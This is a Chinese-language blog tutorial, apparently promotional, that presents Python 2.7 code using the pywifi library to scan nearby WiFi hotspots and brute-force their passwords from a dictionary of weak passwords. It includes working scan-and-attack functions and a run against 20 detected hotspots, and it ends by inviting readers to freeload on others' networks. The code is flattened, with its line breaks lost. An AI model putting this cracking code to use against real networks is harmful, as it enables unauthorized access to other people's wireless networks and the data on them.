【黑客】Python強勢破解WiFi密碼
環境準備python2.7pywifi模塊字典清除系統中的任何wifi連接記錄導入模塊這裡用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b"OK
":判斷需要修改,不然會有很多的提示信息。from pywifi import *import timeimport sys字典準備
python 群 565266089配置掃描器推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關係,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪裡。
掃描周圍熱點defscans(face,timeout):#開始掃描face.scan()time.sleep(timeout)#在若干秒後獲取掃描結果return face.scan_results()熱點測試這裡後續推薦將掃描過程數據入庫,防止重複掃描,且更加直觀。deftest(i,face,x,key,stu,ts):#顯示對應網路名稱,考慮到部分中文名嘖顯示bssidshowID= x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid#迭代字典並進行爆破forn,kinenumerate(key):x.key= k.strip()#移除所有熱點配置face.remove_all_network_profiles()#講封裝好的目標嘗試連接face.connect(face.add_network_profile(x))#初始化狀態碼,考慮到用0會發生些邏輯錯誤code = 10t1 = time.time()#循環刷新狀態,如果置為0則密碼錯誤,如超時則進行下一個while code!=0 :time.sleep(0.1)code = face.status()now = time.time()-t1if now>ts:breakstu.write("
%-*s| %-*s| %s |%*.2fs| %-*s | %-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("
","")))stu.flush()if code == 4:face.disconnect()return "%-*s| %s | %*s |%*s
"%(20,x.ssid,x.bssid,3,x.signal,15,k)return False案例這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了
你以成功連入WiFi ,是不是很有趣,想不想蹭網呢。
跟著Jayson玩耍看世界,帶你裝逼帶你飛。喜歡的觀眾老爺可以點波關注,Jayson在此跪拜!
推薦閱讀:
※python3.5可以安裝Twisted嗎?
※為什麼Sublime Text不支持Python交互?
※chapter5 - Web資料庫
※windows遠程訪問ubuntu下的jupyter notebook配置步驟
※【python操作】python安裝第三方庫的方法總結